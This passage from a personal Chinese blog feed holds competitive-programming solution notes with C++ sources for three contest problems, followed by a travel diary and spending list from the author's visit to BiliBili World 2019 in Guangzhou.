&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;很明显，$n$ 只有三种情况&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$n$ 就是结尾&lt;/li&gt;
&lt;li&gt;中间有一段是一个数字，这个情况 $O(\log^3(n))$ 枚举即可&lt;/li&gt;
&lt;li&gt;中间切一刀，左边是一个不完整的数字，右边也是一个不完整的数字，枚举中间即可&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;所以直接暴力即可&lt;/p&gt;
&lt;p&gt;所以这是一道毒瘤模拟题目&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cmath&amp;gt;

inline int _ws( long long now ) {
    if( now == 0 )
        return 0;
    return ( (int)std::log10(now) ) + 1;
}

int t;
long long n, ans;
long long pow_10[20] = { 1, 1 };

long long check( int st, int ed, long long val ) {
    long long res = val;
    long long ed_val, tmp = val - 1;
    while( st &amp;amp;&amp;amp; tmp &amp;gt;= 0 ) {
        if( st &amp;lt; _ws( tmp ) ) {
            tmp %= pow_10[st];

            if( _ws( tmp ) &amp;lt; st )
                return false;
        }
        res = ( tmp * pow_10[ _ws(res) ] ) + res;
        st -= _ws( tmp );
        tmp --;
    }

    if( st )
        return false;

    tmp = val + 1;
    while( ed &amp;amp;&amp;amp; tmp &amp;gt;= 0 ) {
        if( ed &amp;lt; _ws( tmp ) ) {
            ed_val = tmp;
            tmp /= pow_10[ _ws( tmp ) - ed ];
        }
        else
            ed_val = tmp;
        if( tmp &amp;lt;= 0 )
            return false;
        res = ( res * pow_10[ _ws( tmp ) ] ) + tmp;
        ed -= _ws( tmp );
        tmp ++;
    }

    if( res == n )
        return ed_val;
    else
        return false;
}

int main() {
    freopen( &quot;number.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;number.out&quot;, &quot;w&quot;, stdout );
    scanf( &quot;%d&quot;, &amp;amp;t );
    for( int i = 1; i &amp;lt;= 18; i ++ )
        pow_10[i] = pow_10[ i - 1 ] * 10LL;

    while( t -- )  {
        scanf( &quot;%lld&quot;, &amp;amp;n );
        ans = n;
        int ws = _ws( n );

        for( int st = 0; st &amp;lt;= ws; st ++ ) {
            for( int len = 1; len &amp;lt;= ws - st; len ++ ) {
                if( long long tmp = check( st, ws - st - len, ( n % pow_10[ ws - st ] ) / pow_10[ ws - st - len ] ) ) {
                    ans = ans &amp;lt; tmp? ans: tmp;
                }
            }
        }

        for( int ed_p = 1; ed_p &amp;lt; ws; ed_p ++ ) {
            long long fir = n / pow_10[ ws - ed_p ], sec = n % pow_10[ ws - ed_p ], res;
            if( _ws( sec ) &amp;lt; ws - ed_p )
                continue;
            fir ++;
            if( _ws( fir ) &amp;gt; ed_p ) {
                fir %= pow_10[ ed_p ];
            }
            res = ( sec * pow_10[ ed_p ] ) + fir;
            for( int pin = 1; pin &amp;lt;= ed_p; pin ++ ) {
                sec /= 10;
                if( sec == 0 )
                    break;
                long long tmp = ( sec * pow_10[ ed_p ] ) + fir;
                if( ( ( ( tmp - 1 ) % pow_10[ ed_p ] ) * pow_10[ ws - ed_p ] + tmp / pow_10[ _ws(tmp) - ( ws - ed_p ) ] ) == n )
                    res = res &amp;lt; tmp? res: tmp;
            }
            ans = ans &amp;lt; res? ans: res;
        }

        printf( &quot;%lld\n&quot;, ans );
    }

    fclose( stdin );
    fclose( stdout );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T2 Maja&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;全去肝 T1 去了&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;很容易得到，路径一定是在某一个地方开始，朝另一个点左右横跳&lt;/p&gt;
&lt;p&gt;并且左右横跳的的距离不会超过 2&lt;/p&gt;
&lt;p&gt;即设 $f[k][i][j]$ 表示 $k$ 步 走到 $(i,j)$ 的最大结果&lt;/p&gt;
&lt;p&gt;在做到 $f[j][i][j]$ 的时候顺便维护全局最大值即可&lt;/p&gt;
&lt;p&gt;$k$ 最大是 $\min( \frac{k}{2}, n \times m)$&lt;/p&gt;
&lt;p&gt;滚动 $k$ 即可&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

#include &amp;lt;algorithm&amp;gt;

template &amp;lt;typename T&amp;gt; T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;typename T&amp;gt; T Min( T a, T b ) { return a &amp;lt; b? a: b; }

const int N = 110;

int n, m, A, B, k, a[N][N], max[N][N];
long long f[2][N][N], ans;
int dx[4] = { 0, 0, +1, -1 };
int dy[4] = { +1, -1, 0, 0 };

int main() {
    freopen( &quot;maja.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;maja.out&quot;, &quot;w&quot;, stdout );
    scanf( &quot;%d%d%d%d%d&quot;, &amp;amp;n, &amp;amp;m, &amp;amp;A, &amp;amp;B, &amp;amp;k );
    for( int i = 1; i &amp;lt;= n; i ++ ) {
        for( int j = 1; j &amp;lt;= m; j ++ ) {
            scanf( &quot;%d&quot;, &amp;amp;a[i][j] );
        }
    }

    for( int i = 1; i &amp;lt;= n; i ++ ) {
        for( int j = 1; j &amp;lt;= m; j ++ ) {
            int res = 0;
            if( i != n )
                res = Max( res, a[ i + 1 ][j] );
            if( i != 1 )
                res = Max( res, a[ i - 1 ][j] );
            if( j != m )
                res = Max( res, a[i][ j + 1 ] );
            if( j != 1 )
                res = Max( res, a[i][ j - 1 ] );
            max[i][j] = res;
        }
    }

    memset( f, -1, sizeof( f ) );
    int cur = 0, next = 1;
    int max_k = Min( k &amp;gt;&amp;gt; 1, n * m );
    f[next][A][B] = a[A][B];
    for( int o = 0; o &amp;lt; max_k; o ++ ) {
        std::swap( cur, next );
        for( int i = 1; i &amp;lt;= n; i ++ ) {
            for( int j = 1; j &amp;lt;= m; j ++ ) {
                if( f[cur][i][j] == -1 )
                    continue;
                for( int z = 0; z &amp;lt; 4; z ++ ) {
                    int tx = i + dx[z];
                    int ty = j + dy[z];

                    if( tx &amp;lt; 1 || tx &amp;gt; n || ty &amp;lt; 1 || ty &amp;gt; m )
                        continue;

                    f[next][tx][ty] = Max( f[next][tx][ty], f[cur][i][j] + a[tx][ty] );
                    int tmp = ( ( k - ( o &amp;lt;&amp;lt; 1 ) ) &amp;gt;&amp;gt; 1 );
                    ans = Max( ans, ( f[cur][i][j] * 2 ) + ( 1LL *  max[i][j] * tmp ) + ( 1LL * a[i][j] * ( tmp - 1 ) ) );
//                    printf( &quot;%d %d %d %lld\n&quot;, o, i, j, ans );
                }
            }
        }
    }

    printf( &quot;%lld\n&quot;, ans );

    fclose( stdin );
    fclose( stdout );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;T3 djq的朋友圈 Friends&lt;/h2&gt;
&lt;h3&gt;1 记录&lt;/h3&gt;
&lt;p&gt;考场上完全没有看懂题目的说&lt;/p&gt;
&lt;p&gt;下来看了好久才看懂&lt;/p&gt;
&lt;h3&gt;2 Solution&lt;/h3&gt;
&lt;p&gt;这个数据范围不是状压就是爆搜的感觉&lt;/p&gt;
&lt;p&gt;结果他不仅仅是个状压，还很神仙&lt;/p&gt;
&lt;p&gt;考虑将于 $1$ 节点直接连接的称为 $A$ 类点，相连但是并不直接的是 $B$ 类点&lt;/p&gt;
&lt;p&gt;设 $dp[i]$ ，其中 $i$ 是状压状态，表示取了哪些 $A$ 类点&lt;/p&gt;
&lt;p&gt;复杂度 $O(2^A \times A)$&lt;/p&gt;
&lt;p&gt;看起来一切都好&lt;/p&gt;
&lt;p&gt;然后发现出题人搞我们，这个方法并不能 AC&lt;/p&gt;
&lt;p&gt;反向思考，我们也可以枚举$B$&lt;/p&gt;
&lt;p&gt;这样一来，复杂度就是 $ O( 2^{\min(A,B)} \times A ) $&lt;/p&gt;
&lt;h3&gt;3 Source&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstring&amp;gt;

const int N = 50;
const int INF = 0x3f3f3f3f;

template &amp;lt;typename T&amp;gt; T lowbit( T now ) { return now &amp;amp; ( - now ); }
template &amp;lt;typename T&amp;gt; T full_bit ( T a ) { return ( 1LL &amp;lt;&amp;lt; a ) - 1LL; }
int get_1( long long now ) {
    int res = 0;
    while( lowbit(now) )
        res ++, now -= lowbit(now);
    return res;
}

inline int Max( int a, int b ) { return a &amp;gt; b? a: b; }

int n, m, ans, a_cnt, b_cnt, dp[ 1 &amp;lt;&amp;lt; 23 ];
int f[N][N], id[N];
long long hf[N], ok[N];

int main() {
    freopen( &quot;friends.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;friends.out&quot;, &quot;w&quot;, stdout );
    memset( f, -1, sizeof(f) );
    memset( id, -1, sizeof(id) );
    scanf( &quot;%d%d&quot;, &amp;amp;n, &amp;amp;m );
    for( int i = 1, u, v, w; i &amp;lt;= m; i ++ ) {
        scanf( &quot;%d%d%d&quot;, &amp;amp;u, &amp;amp;v, &amp;amp;w );
        f[u][v] = f[v][u] = w;
    }

    for( int i = 2; i &amp;lt;= n ; i ++ ) {
        if( f[1][i] == -1 )
            continue;
        id[i] = ++ a_cnt;
        ans += ( f[1][i] == 0 );
        for( int j = 2; j &amp;lt;= n; j++ ) {
            if( f[1][j] == -1 &amp;amp;&amp;amp; f[i][j] != -1 ) {
                if( id[j] == -1 )
                    id[j] = ++ b_cnt;
                hf[ id[i] ] |= 1LL &amp;lt;&amp;lt; ( id[j] - 1LL );
                ok[ id[i] ] |= ( (long long)( f[1][i] == f[i][j] ) ) &amp;lt;&amp;lt; ( id[j] - 1LL );
            }
        }
    }

    if( a_cnt &amp;lt;= 20 ) {
        for( int i = 0; i &amp;lt;= full_bit( a_cnt ); i ++ )
            dp[i] = -INF;
        dp[0] = 0;
        for( int i = 0; i &amp;lt;= full_bit( a_cnt ); i ++ ) {
            if( dp[i] &amp;lt; 0 )
                continue;
            long long now = 0;

            for( int j = 1; j &amp;lt;= a_cnt; j ++ )
                if( ( i &amp;gt;&amp;gt; ( j - 1 ) ) &amp;amp; 1 )
                    now |= hf[j];

            for( int j = 1; j &amp;lt;= a_cnt; j ++ ) {
                if( ( i &amp;gt;&amp;gt; ( j - 1 ) ) &amp;amp; 1 )
                    continue;
                int next = i | ( 1 &amp;lt;&amp;lt; ( j - 1 ) );

                dp[next] = Max( dp[next], dp[i] + get_1( ok[j] &amp;amp; ( ~now ) ) );
            }
        }
        printf( &quot;%d\n&quot;, dp[ full_bit( a_cnt ) ] + ans );
        return 0;
    }

    for( int i = 0; i &amp;lt;= full_bit( b_cnt ); i ++ )
        dp[i] = -INF;
    dp[0] = 0;
    for( int i = 0; i &amp;lt;= full_bit( b_cnt ); i ++ ) {
        if( dp[i] &amp;lt; 0 )
            continue;
        for( int j = 1; j &amp;lt;= a_cnt; j ++ ) {
            if( ( i | hf[j] ) == i )
                continue;
            int next = i | hf[j];

            dp[next] = Max( dp[next], dp[i] + get_1( ok[j] &amp;amp; ( ~ i ) ) );
        }
    }

    printf( &quot;%d&quot;, ans + dp[ full_bit( b_cnt ) ] );

    fclose( stdin );
    fclose( stdout );
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>algorithm</category><author>woshiluo</author></item><item><title>BiliBili World 2019 广州游记</title><link>https://blog.woshiluo.com/posts/2019/08/bilibili-world-2019-%E5%B9%BF%E5%B7%9E%E6%B8%B8%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2019/08/bilibili-world-2019-%E5%B9%BF%E5%B7%9E%E6%B8%B8%E8%AE%B0/</guid><pubDate>Sun, 18 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1 消费清单&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;总计 1926 元&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我至今都不知道为什么这个数字这么……&lt;/p&gt;
&lt;p&gt;注: 未特别标注单位即为 CNY （人民币）&lt;/p&gt;
&lt;h3&gt;1.1 场外消费&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;总计 750 元&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;门票 VIP 450（没有普通票了掀桌）&lt;/li&gt;
&lt;li&gt;黄牛智商税 200&lt;/li&gt;
&lt;li&gt;来回高铁 50 x 2 = 100&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 场内消费&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;总计 1176 元&lt;/p&gt;
&lt;p&gt;基本上是在预算之内了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Figma Fate/Go Saber 手办 490&lt;/li&gt;
&lt;li&gt;BilibIli World 2019 广州 帆布袋 60&lt;/li&gt;
&lt;li&gt;LoveLive 系列 总计 526&lt;/li&gt;
&lt;li&gt;- LoveLive! 高坂穗乃果 卡套 50&lt;/li&gt;
&lt;li&gt;- LoveLive! 南小鸟 挂件 29&lt;/li&gt;
&lt;li&gt;- LoveLive! SunShine!! CYaRon! T-Shirt L 200&lt;/li&gt;
&lt;li&gt;- LoveLive! Sunshine!! 善子 挂件 29&lt;/li&gt;
&lt;li&gt;- LoveLive! SunShine!! 扇子 30&lt;/li&gt;
&lt;li&gt;- LoveLive! Sunshine!! 文件夹 x 3 110&lt;/li&gt;
&lt;li&gt;- LoveLive! 官方画册 38&lt;/li&gt;
&lt;li&gt;- LoveLive! 官方典藏集 70&lt;/li&gt;
&lt;li&gt;Vsinger 洛天依 乐正绫 贴画 10 x 2 = 20&lt;/li&gt;
&lt;li&gt;扭蛋 50 元&lt;/li&gt;
&lt;li&gt;- 5 枚抽奖币 10 x 5 = 50&lt;/li&gt;
&lt;li&gt;- LoveLive! Sunshine!! 渡边曜 手办？ 40&lt;/li&gt;
&lt;li&gt;- 1 枚纪念…&lt;/li&gt;
&lt;li&gt;转生史莱姆 零钱袋 30&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 准备工作 &amp;amp; Day 0&lt;/h2&gt;
&lt;p&gt;休息过后的一天，突然想起广州有 BW 2019，边起了邪心&lt;/p&gt;
&lt;p&gt;一查，时间完全对上了&lt;/p&gt;
&lt;p&gt;休息日子不去岂不血亏&lt;/p&gt;
&lt;p&gt;然后 Woshiluo 就抢了票，稍微做了一下攻略，接过导致一天的的白天学习效率极低，好在晚上都补回来了&lt;/p&gt;
&lt;h3&gt;2.1 Day 0&lt;/h3&gt;
&lt;p&gt;上午考完试，下午改了改题目&lt;/p&gt;
&lt;p&gt;然后大概了解一下中山纪念中学附近的情况&lt;/p&gt;
&lt;p&gt;然后下午上完课直接出校&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190815_172433-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;专门拍的陈独秀&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;几个人在中山纪念中学旁边的几个纪念公园逛了一逛，突然一看，快递到了？&lt;/p&gt;
&lt;p&gt;什么快递啊？&lt;/p&gt;
&lt;p&gt;一看，LoveLive! Sunshine!! 演唱会的票&lt;/p&gt;
&lt;p&gt;这包装可够精美的了&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190815_1753001-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;哇这个包装&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;--&amp;gt;&lt;/p&gt;
&lt;p&gt;然后直接打车去南郎站，然后发现还有好久&lt;/p&gt;
&lt;p&gt;我问 StudyingFather 能不能改签， StudyingFather 过去看了一会规则说：「快，现在还来的及」&lt;/p&gt;
&lt;p&gt;然后就提早一小时到了广州&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190815_1837191-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;之前貌似有人吐槽我每次都在外面拍火车站&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;酒店本来说是在对面&lt;/p&gt;
&lt;p&gt;然后我们走了 500m，到了酒店……&lt;/p&gt;
&lt;p&gt;人与人之间基本的信任呢商家！&lt;/p&gt;
&lt;p&gt;然后几个人发现下面全是大排档，然后我们就滚去点外卖了&lt;/p&gt;
&lt;p&gt;结果大家把各自的外卖放一起吃了&lt;/p&gt;
&lt;h2&gt;3 展览&lt;/h2&gt;
&lt;p&gt;因为只放一天假，所以我只能看 Day1 的展览，难过&lt;/p&gt;
&lt;p&gt;不过没关系，有 Pile 和虚拟次元&lt;/p&gt;
&lt;p&gt;早上太兴奋了，没睡好&lt;/p&gt;
&lt;p&gt;不过起来在经过了绕路后到了地铁站，一切就顺利了&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_0817071-1-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;展馆门口，人超级多&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;然后我就到了展馆的门前&lt;/p&gt;
&lt;p&gt;然后懵了&lt;/p&gt;
&lt;p&gt;找到了阿飞学长，快乐了许多&lt;/p&gt;
&lt;p&gt;虽然一开始没有排 VIP 队，不过后来换过去了&lt;/p&gt;
&lt;p&gt;VIP 真的有好多好东西啊QAQ&lt;/p&gt;
&lt;p&gt;一过去先到了 2 楼，有个角川的铺子，直接过去买了两本 LoveLive 的画册&lt;/p&gt;
&lt;p&gt;然后去 3 楼，冲进去把 「世界尽头之海」这个活动完成了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_0838311-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_085957-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个小册子超级精美&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_092138-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;莫名感觉这个东西超级高端&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;然后开始逛&lt;/p&gt;
&lt;p&gt;啊啊啊 Vsinger！！&lt;/p&gt;
&lt;p&gt;啊啊啊 HoloLive！！&lt;/p&gt;
&lt;p&gt;啊啊啊 是碧蓝航线&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_092215-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;VIP 进的早，没有人排队，后来这个队伍排的老长&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;碧蓝航线的活动是让你上去抽船……&lt;/p&gt;
&lt;p&gt;明明都是活动就不要扰人心情了啊&lt;/p&gt;
&lt;p&gt;结果抽出了一个白皮重樱驱逐……&lt;/p&gt;
&lt;p&gt;搞了个手机立牌&lt;/p&gt;
&lt;p&gt;还有个袋子&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_092638-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;是 Z46！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_124206-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后去 BiliBili 那边买周边&lt;/p&gt;
&lt;p&gt;买了个袋子（本来是想要浴巾的 QAQ）&lt;/p&gt;
&lt;p&gt;接着换个馆子，我们到了 H5 馆&lt;/p&gt;
&lt;p&gt;角川，Animate，LoveLive （按浏览顺序）&lt;/p&gt;
&lt;p&gt;啊我的钱包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_090330-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_093557-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;为什么会有雀魂啊……&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_093746-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;本来还想着走的时候去 Animate 的&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了 10 点，表格上说是现在 Pile 表演&lt;/p&gt;
&lt;p&gt;然后咕了小半个小时&lt;/p&gt;
&lt;p&gt;算了本来就是弹性时间&lt;/p&gt;
&lt;p&gt;然后演唱会的时候……&lt;/p&gt;
&lt;p&gt;我手被 VIP 手环缠住了，拿不下来，最后只能痛心使用指甲刀……&lt;/p&gt;
&lt;p&gt;主演出台不让拍摄，就不放图片了&lt;/p&gt;
&lt;p&gt;Pile 现场唱了 「爱上你万岁」，我需要血包！&lt;/p&gt;
&lt;p&gt;前排的阿飞学长打 Call 好用功啊&lt;/p&gt;
&lt;p&gt;又去逛乐几圈，人好多啊……&lt;/p&gt;
&lt;p&gt;逛了几圈后才发现扭蛋机，有 LoveLive! SunShine!! 的扭蛋机！&lt;/p&gt;
&lt;p&gt;抽到了渡边曜！我终于搞到自己想要的东西了！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_112445-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;人生中第一次扭蛋&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;后来想去买点东西，接过发现队伍实在是太长了&lt;/p&gt;
&lt;p&gt;一看 12 点多了，该去看 虚拟次元 了，然后就去休息一下，和阿飞学长谈笑风生然后又逛了几圈又买了几个 LoveLive 周边&lt;/p&gt;
&lt;p&gt;然后 13:00 准时去虚拟乐园那边，哇是别的虚拟 UP 主，看起来有点搞笑，不过没关系，没我们的虚拟「德云社」搞笑&lt;/p&gt;
&lt;p&gt;啊到虚拟次元了&lt;/p&gt;
&lt;p&gt;你们两个为什么一出来就搞笑气息满满啊&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_132131-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;是小希 AWSL&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;反正各种尬聊过后，到了观众提问环节&lt;/p&gt;
&lt;p&gt;第一个问题: 「孙女呢？」&lt;/p&gt;
&lt;p&gt;「会有的会有的，下一个下一个」&lt;/p&gt;
&lt;p&gt;为什么我觉得在逃避这个问题啊&lt;/p&gt;
&lt;p&gt;第二个问题是我问的: 「请问您们是如何从搞笑偶像，变成搞笑相声组合的？」&lt;/p&gt;
&lt;p&gt;「啊我们什么时候是相声组合了？我们说学逗唱基本功这门扎实」&lt;/p&gt;
&lt;p&gt;第三个问题: 「虚拟德云社？」&lt;/p&gt;
&lt;p&gt;「快快搪塞过去」&lt;/p&gt;
&lt;p&gt;第四个问题: 「虚拟手办什么时候上线啊？」&lt;/p&gt;
&lt;p&gt;嗯，这个问题答的还可以&lt;/p&gt;
&lt;h2&gt;4 展览后&lt;/h2&gt;
&lt;p&gt;看完虚拟次元就开溜了&lt;/p&gt;
&lt;p&gt;发现附近有一家星巴克，快乐的跑过去了&lt;/p&gt;
&lt;p&gt;啊好久没有喝星巴克了&lt;/p&gt;
&lt;p&gt;在长沙的时候都是茶颜悦色&lt;/p&gt;
&lt;p&gt;不过星巴克是真的贵……&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_151633-768x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;星巴克是真的昂贵&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;5 一点评价 &amp;amp; 吐槽&lt;/h2&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2019/08/IMG_20190816_134253-1024x768.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;展馆门口&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;说来惭愧，本人在此之前，并未逛过太多正经的漫展&lt;/p&gt;
&lt;p&gt;仅有的两次还是于乌鲁木齐是逛的，然而质量连让人想写游记的心情都没有&lt;/p&gt;
&lt;p&gt;所以相比较大佬们的评价，这份评价可能显得更加 &lt;code&gt;Too young Yoo Simple&lt;/code&gt; 一些&lt;/p&gt;
&lt;p&gt;环境和演出都超~级棒，本人看演出的时候差点哭出来的说&lt;/p&gt;
&lt;p&gt;先说打卡和游戏吧，队伍可能有点长，排队可以有，平均每个活动 1h + 有一点点的难受&lt;/p&gt;
